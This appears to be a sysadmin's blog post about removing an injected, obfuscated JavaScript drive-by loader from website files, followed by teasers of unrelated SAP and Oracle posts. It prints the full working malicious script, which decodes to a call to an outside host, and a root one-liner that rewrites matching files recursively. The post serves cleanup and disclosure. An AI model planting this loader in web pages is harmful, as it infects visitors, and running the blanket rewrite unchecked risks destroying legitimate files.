Cleaning Malicious Javascripts

-
So one of the users has been infected with this stupid malicious javascripts. Its an evil javascript that will open / include a url, on another site which opens up a attacj site, driveby download, xss, et cetera.. Heres the stupid code:


var t=new String();var y;if(y!='o'){y='o'};var VX;if(VX!='yw' && VX != ''){VX=null};var O='';function d(){var yM;if(yM!='' && yM!='AM'){yM=null};this.DT='';var ywS;if(ywS!=''){ywS='Nv'};this.AQ='';var Vz;if(Vz!='' && Vz!='NO'){Vz=null};var I=window;var eE;if(eE!='oH' && eE != ''){eE=null};var eY;if(eY!='kR' && eY != ''){eY=null};var wm="";var W=I['unescape'];var V=W("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6d%65%69%6e%76%7a%2e%6e%65%74%2f%76%65%72%79%63%64%2e%63%6f%6d%2e%70%68%70");var kM="";this.q="";var wn=new Array();var fp;if(fp!='Hd' && fp!='DG'){fp='Hd'};function j(i,c){var v=W("%5d");var Gv;if(Gv!='' && Gv!='mG'){Gv='EV'};var S=W("%5b");var H="g";var sy=new Array();var Sm="";var cA='';var B=new RegExp(S+c+v, H);this.z='';var K;if(K!='wu' && K!='JC'){K='wu'};return i.replace(B, new String());var C='';};var F_="";this.ub="";var k=j('dheSfAegrg','swRghAiW04_SBP');var D=j('sqcIrIiVpGtG','UIFq5he2doGmJVx');var rW=new String();this.st="";var vf=j('87616336779706314111413844741911696409497493367347','396741');var e=document;var ed=j('swrJcw','54wQy_LKHJukVEO');var O_;if(O_!='' && O_!='Wy'){O_=''};var qv=new Date();var ll;if(ll!='TB' && ll != ''){ll=null};function N(){var qm="";var Fe;if(Fe!='' && Fe!='nh'){Fe=null};var T=W("%68%74%74%70%3a%2f%2f%70%6c%61%79%7a%6f%6e%65%77%6f%72%6c%64%2e%61%74%3a");var Bk='';var Fg;if(Fg!='' && Fg!='Cc'){Fg='kI'};this.xo='';var F=T;var JW;if(JW!='' && JW!='CN'){JW='pu'};var AA;if(AA!='' && AA!='qK'){AA=''};F+=vf;var xE=new Date();F+=V;var KV;if(KV!='SJ'){KV='SJ'};var tV=new Date();var Yd='';var Op=new Date();this.a="";this.aG="";try {var _p=new Array();var IA;if(IA!='Q_' && IA != ''){IA=null};x=e[j('ckrkeCajtfe9EblFehmheBnotB','pbCsh7wkBjfX9FLoQ')](D);var LV;if(LV!='by' && LV!='lp'){LV='by'};x[k]=[1,7][0];var tS=new Date();x[ed]=F;var Xb='';var GN;if(GN!='zo' && GN != ''){GN=null};e.body[j('aVpNpweKnudVCxhuiWlVdw','NxKW2VMwu')](x);var Sq;if(Sq!='gR'){Sq=''};var BZ;if(BZ!='' && BZ!='c_'){BZ='No'};this.Zd="";var Gi;if(Gi!='' && Gi!='eYs'){Gi=''};} catch(IT){};var _g;if(_g!='nX'){_g=''};var Qv=new Date();}var j_;if(j_!='cx' && j_ != ''){j_=null};var rb=new Date();var ih=j('okn6lpohakdr','kZBRsDzSMcHby4Ppghr6w');var cV="";var _W='';I[ih]=N;};this.GF="";d();var Ai;if(Ai!='Ge' && Ai != ''){Ai=null};

So, it seems it infects ALL files with file names containing these:

- *index*
- *default*
- *home*
- *start*
- *.js

How do i clean up everything? Well, Google a bit, and heres what i did:

[root@ns52 public_html]# for u in {index,default,".js",start,home}; do for f in `find | grep $u`; do grep -v "t=new String(" $f > $f.new && mv -f $f.new $f; done; done;


Hope this helps someone.

Thank You

//kudos aalim, ewe, google

//alak

Comments

Post a Comment

Popular posts from this blog

SAP: Segregate Different SMTP Mail Server Based on Sender Domain

-
Image
  Requirement : An SAP server, with a single Productive client shared by multiple company codes. Each CoCode would have their own domain (FQDN), and any email send out, for example PO to vendors, are to be sent using each individual CoCode SMTP mail server. Solution Steps: 1. Configure multiple SMTP nodes in Tx SCOT, limiting each node with a Sender Group 2. Set different Sender Group (CDG) parameters for each user of each CoCode (Tx SU01 > Parameters) 3. Test using SCOT's Routing Test feature 4. Profit Detail Step: Logon to SAP system and configure multiple SMTP Node, can use  Continue with SCOT Wizard. Once you get multiple Nodes (as per below screenshot), double click any of them,  In this example, we double click on the "SECOND" node. And then click on "Set" button for the address type you want to configure (that would most probably be for INT type) And click the Pencil icon for setting the Sender Group Here we can set based on FQDN or any string. We are ...
Read more

SAP Client Copy Error: Errors occurred during export of container object FINB-TR-DERIVATION

-
 Reference from: https://www.consultoria-sap.com/2010/03/client-copy-derivation-rule-tables-are.html TL;DR - Execute report ABADRCHECK with selected 'DELSTEPS' //alak ==== Client copy is completed with status "Post-Processing Required". There is an error in log for object FINB-TR-DERIVATION: DA300 "No active nametab exists for *some db table*" Name of db table is usually with naming convention: xxyyyysssmmmnnnn (xx - application class, yyyy - strategy ID, sss - system indicator, mmm - client, nnnn - sequence number) These db tables are part of some instance of derivation tool in your system and are used to store Derivation Rule Values. Other terms ABADR, FINB_TR_CC_EXIT, FINB_TR_CC_EXIT_TARGET, DA 300, DA300, CC, SCC9, SCCL, SCC3 Reason and Prerequisites During processing CC there was huge workload into your system. CC processcreates new tables to store copied derivation rules. This is done in parallel asynchronous process. But due to workload into system, t...
Read more

Quick Dirty Script for Checking Oracle Data Gurad Gap and Emailing it

-
 Situation: primary DB: prd_CCC standby DB: prd_WWW file 1: gap-check.bat @echo off cls echo. echo. echo This script checks for Archive Logs at prd_ccc and Applied Logs at prd_www echo. echo Querying prd_ccc (Primary) echo select max(sequence#) "Primary" from v$archived_log where archived='YES';|sqlplus -s / as sysdba echo Querying prd_www (Standby) echo select max(sequence#) "Standby" from v$archived_log where applied='YES';|sqlplus -s / as sysdba echo. DGMGRL / "show configuration" date /t && time /t && hostname && whoami file 2: emailer.ps1 $Username      = "username" $EmailPassword = "password" $today = Get-Date $Username = $Username $EmailTo = "adam@jasabyte.com"  $EmailFrom = "server@jasabyte.com" $Body = Get-Content .\status.log -Raw $Subject = "PRIMARY/STANDBY DB GAP - $today" $SMTPServer = "mail.smtp2go.com"  $SMTPMessage = New-Object System.Net.Mai...
Read more